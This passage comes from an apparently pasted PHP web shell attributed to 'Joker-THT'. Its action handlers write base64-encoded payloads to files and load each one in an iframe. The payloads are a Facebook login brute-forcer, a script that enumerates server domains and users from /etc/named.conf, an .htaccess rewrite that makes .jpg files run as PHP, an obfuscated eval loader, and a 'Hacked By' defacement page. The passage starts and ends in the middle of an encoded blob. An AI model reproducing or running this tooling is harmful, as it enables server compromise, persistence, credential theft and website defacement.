NzkwNztjLiBUJiMyMjQ7aSBLaG8mIzc4NDM7biA6IDxmb250IGNvbG9yPSdncmVlbic+JHVzZXI8L2ZvbnQ+Jm5ic3A7IE0mIzc4NTM7dCBLaCYjNzg0OTt1IDogPGZvbnQgY29sb3I9J2dyZWVuJz4kcGFzczwvZm9udD48L2ZvbnQ+PC9wPiI7Cn0KfSAgICAgICAgICAgICAKJHVzZXJuYW1lID0gZXhwbG9kZSgiXG4iLCAkX1BPU1RbJ3VzZXJuYW1lJ10pOwokcGFzc3dvcmQgPSBleHBsb2RlKCJcbiIsICRfUE9TVFsncGFzc3dvcmQnXSk7CmZvcmVhY2goJHVzZXJuYW1lIGFzICR1c2VycykgewokdXNlcnMgPSBAdHJpbSgkdXNlcnMpOwpmb3JlYWNoKCRwYXNzd29yZCBhcyAkcGFzcykgewokcGFzcyA9IEB0cmltKCRwYXNzKTsKZWNobyBicnV0ZSgkdXNlcnMsJHBhc3MpOwp9Cn0KfQplY2hvIjxjZW50ZXI+PHA+PGI+PGZvbnQgc2l6ZT0nMicgZmFjZT0nVHJlYnVjaGV0IE1TJyBjb2xvcj0nI0ZGRkZGRic+RWRpdCBCeTogSm9rZXItVEhUPC9mb250PjwvYj48L3A+PC9jZW50ZXI+IjsKPz4=
  1468. ';
  1469.     $file       = fopen("Brute-FB.php", "w+");
  1470.     $write      = fwrite($file, base64_decode($perltoolss));
  1471.     fclose($file);
  1472.     echo "<iframe src=Brute-FB.php width=100% height=720px frameborder=0></iframe> ";
  1473. }
  1474. elseif ($action == 'GetUsers') {
  1475.     $file       = fopen($dir . "Domain-User.php", "w+");
  1476.     $perltoolss = 'PD9waHAKZWNobyAiPHRpdGxlPkpva2VyLVRIVDwvdGl0bGU+CjxzdHlsZT4KYm9keSx0YWJsZXtiYWNrZ3JvdW5kOiBibGFjazsgZm9udC1mYW1pbHk6VmVyZGFuYSx0YWhvbWE7IGNvbG9yOiB3aGl0ZTsgZm9udC1zaXplOjE1cHg7IH0KQTpsaW5rIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6IHJlZDt9CkE6YWN0aXZlIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6IHJlZDt9CkE6dmlzaXRlZCB7dGV4dC1kZWNvcmF0aW9uOiBub25lO2NvbG9yOiByZWQ7fQpBOmhvdmVyIHt0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgY29sb3I6IHJlZDt9CiNuZXcsaW5wdXQsdGFibGUsdGQsdHIsI2dne3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246Ym9sZDt9CnRyOmhvdmVyLHRkOmhvdmVye3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQtY29sb3I6ICNGRkZGQ0M7IGNvbG9yOmdyZWVuO30KPC9zdHlsZT4KPHAgYWxpZ249Y2VudGVyPkNoZWNrIERvbWFpbnMgJiBVc2VycyBDJiMyNDk7bmcgU2V2ZXI8L3A+CjxwIGFsaWduPWNlbnRlcj5Db2RlIE1vZCBCeTogTWFyaW9uMDAxPC9wPjxjZW50ZXI+IjsKJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CmlmKCEkZDBtYWlucyl7IGRpZSgiPGI+IyBUaCYjNzg0NTt0IEImIzc4NDE7aSwgS2gmIzI0NDtuZyBUaCYjNzg3NTsgVGkmIzc4NzE7biBIJiMyMjQ7bmggQyYjMjI2O3UgbCYjNzg3OTtuaCAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7IH0KZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MT4KPHRyIGJnY29sb3I9Z3JlZW4+PHRkPkRvbWFpbnM8L3RkPjx0ZD5Vc2VyczwvdGQ+PC90cj4iOwpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewppZihlcmVnaSgiem9uZSIsJGQwbWFpbikpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpeyAKJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsKZWNobyAiPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly8iLiRkb21haW5zWzFdWzBdLiI+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7IGZsdXNoKCk7Cn19fQplY2hvICI8L3RhYmxlPgo8cCBhbGlnbj0nY2VudGVyJz4KQ29kZSBNb2QgQnk6IDxhIGhyZWY9J2h0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9QYXJ0eS5NYXJpb24wMDEnPk1hcmlvbjAwMTwvYT4gfCA8YSBocmVmPSdodHRwczovL3d3dy5mYWNlYm9vay5jb20vUGFydHkuTWFyaW9uMDAxJz5DbGljayBGYWNlYm9vazwvYT48YnI+CkNvcHlyaWdodCAoYylNYXJpb24wMDEocikyMDE0CjwvcD4KIjsKPz4=
  1477. ';
  1478.     $file       = fopen("Domain-User.php", "w+");
  1479.     $write      = fwrite($file, base64_decode($perltoolss));
  1480.     fclose($file);
  1481.     echo "<iframe src=Domain-User.php width=100% height=720px frameborder=0></iframe> ";
  1482. }
  1483. elseif ($action == 'exhtacc') {
  1484.     $file       = fopen($dir  . ".htaccess", "w+");
  1485.     $perltoolss = 'T3B0aW9ucyArRm9sbG93U3ltTGlua3MgK0luZGV4ZXMKRGlyZWN0b3J5SW5kZXggZGVmYXVsdC5odG1sIAojIyBTVEFSVCAjIwpPcHRpb25zICtFeGVjQ0dJCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCBsb2cgY2dpIHBsIHRnIGxvdmUgaDQgSm9rZXItVEhUIHRnYiB4LXpvbmUgCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHAgLmpwZwpSZXdyaXRlRW5naW5lIG9uClJld3JpdGVSdWxlICguKilcd2FyJCAubG9nCiMjIEVORCAjIw==
  1486. ';
  1487.     $file       = fopen(".htaccess", "w+");
  1488.     $write      = fwrite($file, base64_decode($perltoolss));
  1489.     fclose($file);
  1490.     echo "<iframe src=.htaccess width=100% height=720px frameborder=0></iframe> ";
  1491. }
  1492.  
  1493.  
  1494. elseif ($action == 'changepas') {
  1495. $file = fopen($dir . "change-pas.php", "w+");
  1496. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVTQxVFdSd1RuRXhKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
  1497. ';
  1498. $file = fopen("change-pas.php", "w+");
  1499. $write = fwrite($file, base64_decode($perltoolss));
  1500. fclose($file);
  1501. echo "<iframe src=change-pas.php width=100% height=720px frameborder=0></iframe> ";
  1502. }
  1503. elseif ($action == 'indexjoker') {
  1504. $file = fopen($dir . "J.php", "w+");
  1505. $perltoolss = 'CgoKPGhlYWQ+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgo8L3NjcmlwdD4KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwczovLzQuYnAuYmxvZ3Nwb3QuY29tLy1RSnJPTDk5U1JHSS9WWTZHVDBXc3FxSS9BQUFBQUFBQUFxay9GeEpwTW1wOU1HTS9zMTYwMC9sb2dvLW5ldzEuZ2lmIiB0eXBlPSJpbWFnZS94LWljb24iLz4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgo8L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgo8L3NjcmlwdD4KPC9oZWFkPgoKPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgo8aGVhZD4KICAgIDx0aXRsZT5IYWNrZWQgQnkgSm9rZXItVEhUPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KCgo8bWV0YSBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZSBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktOSI+Cgo8c3R5bGU+CjwhLS1ib2R5Cgl7bWluLXdpZHRoOjY1MHB4OwoJYmFja2dyb3VuZC1jbGlwOmJveDsKCWJhY2tncm91bmQtb3JpZ2luOnBhZGRpbmctYm94OwoJYmFja2dyb3VuZC1zaXplOmNvdmVyOwoJYmFja2dyb3VuZC1wb3NpdGlvbi14OjUwJTsKCWJhY2tncm91bmQtcG9zaXRpb24teTo1MCU7CgliYWNrZ3JvdW5kLWF0dGFjaG1lbnQ6Zml4ZWQ7fQoKIC8qIEZvbnQgRGVmaW5pdGlvbnMgKi8KIEBmb250LWZhY2UKCXtmb250LWZhbWlseTpjYWxpYnJpOwoJcGFub3NlLTE6MCAwIDAgMCAwIDAgMCAwIDAgMDsKCW1zby1mb250LWFsdDoiVGltZXMgTmV3IFJvbWFuIjsKCW1zby1mb250LWNoYXJzZXQ6MDsKCW1zby1nZW5lcmljLWZvbnQtZmFtaWx5OnJvbWFuOwoJbXNvLWZvbnQtZm9ybWF0Om90aGVyOwoJbXNvLWZvbnQtcGl0Y2g6YXV0bzsKCW1zby1mb250LXNpZ25hdHVyZTowIDAgMCAwIDAgMDt9CiAvKiBTdHlsZSBEZWZpbml0aW9ucyAqLwogcC5Nc29Ob3JtYWwsIGxpLk1zb05vcm1hbCwgZGl2Lk1zb05vcm1hbAoJe21zby1zdHlsZS1wYXJlbnQ6IiI7CgltYXJnaW46MGNtOwoJbWFyZ2luLWJvdHRvbTouMDAwMXB0OwoJbXNvLXBhZ2luYXRpb246d2lkb3ctb3JwaGFuOwoJZm9udC1zaXplOjEyLjBwdDsKCWZvbnQtZmFtaWx5OiJUaW1lcyBOZXcgUm9tYW4iOwoJbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IlRpbWVzIE5ldyBSb21hbiI7fQpwLm1ldGluLCBsaS5tZXRpbiwgZGl2Lm1ldGluCgl7bXNvLXN0eWxlLW5hbWU6bWV0aW47CgltYXJnaW46MGNtOwoJbWFyZ2luLWJvdHRvbTouMDAwMXB0OwoJbXNvLXBhZ2luYXRpb246d2lkb3ctb3JwaGFuOwoJZm9udC1zaXplOjEyLjBwdDsKCWZvbnQtZmFtaWx5OiJUaW1lcyBOZXcgUm9tYW4iOwoJbXNvLWZhcmVhc3QtZm9udC1mYW1pbHk6IlRpbWVzIE5ldyBSb21hbiI7fQpzcGFuLlNwZWxsRQoJe21zby1zdHlsZS1uYW1lOiIiOwoJbXNvLXNwbC1lOnllczt9CnNwYW4uR3JhbUUKCXttc28tc3R5bGUtbmFtZToiIjsKCW1zby1ncmFtLWU6eWVzO30KQHBhZ2UgU2VjdGlvbjEKCXtzaXplOjU5NS4zcHQgODQxLjlwdDsKCW1hcmdpbjo3MC44NXB0IDcwLjg1cHQgNzAuODVwdCA3MC44NXB0OwoJbXNvLWhlYWRlci1tYXJnaW46MzUuNHB0OwoJbXNvLWZvb3Rlci1tYXJnaW46MzUuNHB0OwoJbXNvLXBhcGVyLXNvdXJjZTowO30KZGl2LlNlY3Rpb24xCgl7cGFnZTpTZWN0aW9uMTt9CgoKYSB7CmNvbG9yOnJlZDsKfQoKLm1ldGluIHsKCm1hcmdpbjowcHggYXV0bzsKd2lkdGg6IDYwMHB4Owp0ZXh0LWFsaWduOmNlbnRlcjsKCn0KLnN0eWxlMSB7Y29sb3I6ICNGRkZGRkZ9Ci5zdHlsZTMgewoJZm9udC1mYW1pbHk6IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7Cglmb250LXNpemU6IDEycHg7Cn0KICAgICNfeDAwMDBfaTEwMjUKICAgIHsKICAgICAgICBoZWlnaHQ6IDI2OXB4OwogICAgICAgIHdpZHRoOiA1NzFweDsKICAgIH0KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KPGRpdiBjbGFzcz1TZWN0aW9uMT4KPC9jZW50ZXI+PC9tYXJxdWVlPgo8aDIgYWxpZ249Y2VudGVyIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+PHNwYW4gY2xhc3M9U3BlbGxFPjxzcGFuCnN0eWxlPSJmb250LWZhbWlseTpjYWxpYnJpO2NvbG9yOndoaXRlIj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6Y2FsaWJyaTsKY29sb3I6d2hpdGUiPjxzcGFuIGNsYXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJtYXJnaW4tYm90dG9tOjEyLjBwdDt0ZXh0LWFsaWduOmNlbnRlciI+PC9zcGFuPjwvc3Bhbj48L3NwYW4+PC9zcGFuPjwvaDI+CjxoMiBhbGlnbj1jZW50ZXIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyIj4KPGJvZHkgYmdjb2xvcj1ibGFjawpiYWNrZ3JvdW5kPSJodHRwOi8vaS5pbWd1ci5jb20vWEJ1bWZ4bS5wbmcidGFiLWludGVydmFsOjM1LjRwdCI+CgoKPGgxIDxmb250IHN0eWxlPSJjb2xvcjp3aGl0ZTtmb250IHNpemU6MjBweDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6QXJpYWw7dGV4dC1zaGFkb3c6IDAgMCAzcHggcmVkLCAwcHggMHB4IDVweCByZWQsMCAwIDVweCByZWQsMCAwIDVweCByZWQ7Ij48Zm9udCBzaXplPSI1IiBmb250LWZhbWlseT0iQXJpYWwiIGNvbG9yPSJibGFjayI+Li46OlRyb2xsZXIgSGFja2luZyBUZWFtOjouLjwvZm9udD48L2ZvbnQ+PC9oMT4KCjxDZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly93d3cubXVvbmdhbmcuZWR1LnZuL2ZpbGVzL3Bob3RvL3RodW1iX3Bob3RvXzY0ZWkwdW45LnBuZyIgCiAgICAgICAgc3R5bGU9ImhlaWdodDogMzAwcHg7IHdpZHRoOiAzMDBweCI+PC9oMj4KCgo8L2NlbnRlcj4KCgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKdGhpcy5ydW5uaW5nID0gdHJ1ZTsgLy8gTmV2ZXIgcnVuLgpyZXR1cm47Cn0KdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CnRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gNTAgOiBpbnRlcnZhbCk7CnRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwp0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Owp0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CnRoaXMuY3VycmVudFRleHQgPSAiIjsKdGhpcy5jdXJyZW50Q2hhciA9IDA7CnRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwpUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwp0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKdGhpcy5pblRhZyA9IGZhbHNlOwp0aGlzLnRhZ0J1ZmZlciA9ICIiOwp0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwp0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CmZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CmlmKHRoaXMucnVubmluZykgcmV0dXJuOwppZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewpzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7IC8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuIEhhdmUgcGF0aWVuY2UuCnJldHVybjsKfQppZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCmlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewppZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKdGhpcy50YWdCdWZmZXIgPSAiPCI7CnRoaXMuaW5UYWcgPSB0cnVlOwp0aGlzLmN1cnJlbnRDaGFyKys7CnRoaXMucnVuKCk7CnJldHVybjsKfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CnRoaXMudGFnQnVmZmVyICs9ICI+IjsKdGhpcy5pblRhZyA9IGZhbHNlOwp0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwp0aGlzLmN1cnJlbnRDaGFyKys7CnRoaXMucnVuKCk7CnJldHVybjsKfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CnRoaXMuY3VycmVudENoYXIrKzsKdGhpcy5ydW4oKTsKcmV0dXJuOwp9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewp0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CnRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKdGhpcy5jdXJyZW50Q2hhcisrOwp0aGlzLnJ1bigpOwpyZXR1cm47Cn0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CnRoaXMuY3VycmVudENoYXIrKzsKdGhpcy5ydW4oKTsKcmV0dXJuOwp9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwp0aGlzLmN1cnJlbnRDaGFyKys7CnRoaXMucnVuKCk7CnJldHVybjsKfSBlbHNlIHsKdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKfQp0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwp0aGlzLmN1cnJlbnRDaGFyKys7CnNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKfSBlbHNlIHsKdGhpcy5jdXJyZW50VGV4dCA9ICIiOwp0aGlzLmN1cnJlbnRDaGFyID0gMDsKdGhpcy5ydW5uaW5nID0gZmFsc2U7CnRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwp9Cn0KPC9zY3JpcHQ+CjxjZW50ZXI+CjxkaXYgaWQ9ImV4YW1wbGUxIj48L2Rpdj4KPHAgaWQ9ImV4YW1wbGUyIj4KPGZvbnQgY29sb3I9ImJsYWNrIj4KPGZvbnQgc3R5bGU9ImNvbG9yOndoaXRlO2ZvbnQgc2l6ZTo4cHg7dGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtZmFtaWx5OkFyaWFsO3RleHQtc2hhZG93OiAwIDAgM3B4IHJlZCwgMHB4IDBweCA1cHggcmVkLDAgMCA1cHggcmVkLDAgMCA1cHggcmVkOyI+PGZvbnQgc2l6ZT0iNSIgZm9udC1mYW1pbHk9IkFyaWFsIiBjb2xvcj0iYmxhY2siPldlYnNpdGUgSGFzIEJlZW4gSGFja2VkIEJ5IEpva2VyLVRIVDwvZm9udD48L2ZvbnQ+PGJyPgo8Zm9udCBzdHlsZT0iY29sb3I6d2hpdGU7Zm9udCBzaXplOjhweDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6QXJpYWw7dGV4dC1zaGFkb3c6IDAgMCAzcHggcmVkLCAwcHggMHB4IDVweCByZWQsMCAwIDVweCByZWQsMCAwIDVweCByZWQ7Ij48Zm9udCBzaXplPSI1IiBmb250LWZhbWlseT0iQXJpYWwiIGNvbG9yPSJibGFjayI+U2VjdXJpdHkgb2YgdGhlIHNpdGUgdG9vIGxvdzwvZm9udD48L2ZvbnQ+PGJyPgo8Zm9udCBzdHlsZT0iY29sb3I6d2hpdGU7Zm9udCBzaXplOjhweDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6QXJpYWw7dGV4dC1zaGFkb3c6IDAgMCAzcHggcmVkLCAwcHggMHB4IDVweCByZWQsMCAwIDVweCByZWQsMCAwIDVweCByZWQ7Ij48Zm9udCBzaXplPSI1IiBmb250LWZhbWlseT0iQXJpYWwiIGNvbG9yPSJibGFjayI+RG9uJ3Qgd29ycnksIHdlIGp1c3QgdXBsb2FkIGRlZmFjZW1lbnQgcGFnZTwvZm9udD48L2ZvbnQ+IDxicj4KPGZvbnQgc3R5bGU9ImNvbG9yOndoaXRlO2ZvbnQgc2l6ZTo4cHg7dGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtZmFtaWx5OkFyaWFsO3RleHQtc2hhZG93OiAwIDAgM3B4IHJlZCwgMHB4IDBweCA1cHggcmVkLDAgMCA1cHggcmVkLDAgMCA1cHggcmVkOyI+PGZvbnQgc2l6ZT0iNSIgZm9udC1mYW1pbHk9IkFyaWFsIiBjb2xvcj0iYmxhY2siPkNvbnRhY3Q6PC9mb250PjwvZm9udD48YnI+Cjxmb250IHN0eWxlPSJjb2xvcjp3aGl0ZTtmb250IHNpemU6OHB4O3RleHQtYWxpZ246IGNlbnRlcjtmb250LWZhbWlseTpBcmlhbDt0ZXh0LXNoYWRvdzogMCAwIDNweCByZWQsIDBweCAwcHggNXB4IHJlZCwwIDAgNXB4IHJlZCwwIDAgNXB4IHJlZDsiPjxmb250IHNpemU9IjUiIGZvbnQtZmFtaWx5PSJBcmlhbCIgY29sb3I9ImJsYWNrIj5odHRwczovL3d3dy5mYWNlYm9vay5jb20vSm9rZXJUSFQuQmxvZzwvZm9udD48L2ZvbnQ+PGJyPgoKPGJyPgo8L2ZvbnQ+CjwvZm9udD48L2ZvbnQ+PC9wPjwvY2VudGVyPjxmb250IGNvbG9yPSJHcmV5Ij48Zm9udCBjb2xvcj0iYmxhY2siIGZhY2U9ImNvdXJpZXIgbmV3IiBzaXplPSIyIj4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgovL0RlZmluZSBmaXJzdCB0eXBpbmcgZXhhbXBsZToKbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImV4YW1wbGUxIikpOwovL0RlZmluZSBzZWNvbmQgdHlwaW5nIGV4YW1wbGUgKHVzZSAic2xhc2hpbmciIGN1cnNvciBhdCB0aGUgZW5kKToKbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImV4YW1wbGUyIiksIDUwLCBmdW5jdGlvbihpKXsKdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiICIsIl8iLCJfIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlCmFyLmxlbmd0aF07IH0pOwovL1R5cGUgb3V0IGV4YW1wbGVzOgpUeXBpbmdUZXh0LnJ1bkFsbCgpOwo8L3NjcmlwdD4KCgo8Y2VudGVyPjxpbWcgc3JjPSJodHRwczovLzQuYnAuYmxvZ3Nwb3QuY29tLy1RSnJPTDk5U1JHSS9WWTZHVDBXc3FxSS9BQUFBQUFBQUFxay9GeEpwTW1wOU1HTS9zMTYwMC9sb2dvLW5ldzEuZ2lmIiAKICAgICAgICBzdHlsZT0iaGVpZ2h0OiAyMHB4OyB3aWR0aDogMjBweCI+ICA8Zm9udCBzdHlsZT0iY29sb3I6d2hpdGU7Zm9udCBzaXplOjRweDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6QXJpYWw7dGV4dC1zaGFkb3c6IDAgMCAzcHggcmVkLCAwcHggMHB4IDVweCByZWQsMCAwIDVweCByZWQsMCAwIDVweCByZWQ7Ij48Zm9udCBzaXplPSIzIiBmb250LWZhbWlseT0iQXJpYWwiIGNvbG9yPSJibGFjayI+TWVtYmVyczo8L2ZvbnQ+PC9mb250PjxpbWcgc3JjPSJodHRwczovLzQuYnAuYmxvZ3Nwb3QuY29tLy1RSnJPTDk5U1JHSS9WWTZHVDBXc3FxSS9BQUFBQUFBQUFxay9GeEpwTW1wOU1HTS9zMTYwMC9sb2dvLW5ldzEuZ2lmIiAKICAgICAgICBzdHlsZT0iaGVpZ2h0OiAyMHB4OyB3aWR0aDogMjBweCI+PC9jZW50ZXI+CjxjZW50ZXI+PG1hcnF1ZWUgYmVoYXZpb3I9InNjcm9sbCIgZGlyZWN0aW9uPSJsZWZ0IiBzY3JvbGxhbW91bnQ9IjQiIHNjcm9sbGRlbGF5PSI1NSIgd2lkdGg9Ijc1JSI+PGZvbnQgY29sb3I9IndoaXRlIj48L2ZvbnQ+CiAgIDxmb250IHN0eWxlPSJjb2xvcjp3aGl0ZTtmb250IHNpemU6NnB4O3RleHQtYWxpZ246IGNlbnRlcjtmb250LWZhbWlseTpBcmlhbDt0ZXh0LXNoYWRvdzogMCAwIDNweCByZWQsIDBweCAwcHggNXB4IHJlZCwwIDAgNXB4IHJlZCwwIDAgNXB4IHJlZDsiPjxmb250IHNpemU9IjQiIGZvbnQtZmFtaWx5PSJBcmlhbCIgY29sb3I9ImJsYWNrIj5LaXogLSBLZW5iaSAtIEpva2VyLVRIVCAtIFBUMksyIC0gRmFwRmFwIC0gUmVkc29sYXIgPC9mb250PjwvZm9udD4KICAgIDwvbWFycXVlZT48L2NlbnRlcj4KCgo8b2JqZWN0IHdpZHRoPSIwIiBoZWlnaHQ9IjAiPiAgPHBhcmFtIG5hbWU9Im1vdmllIiB2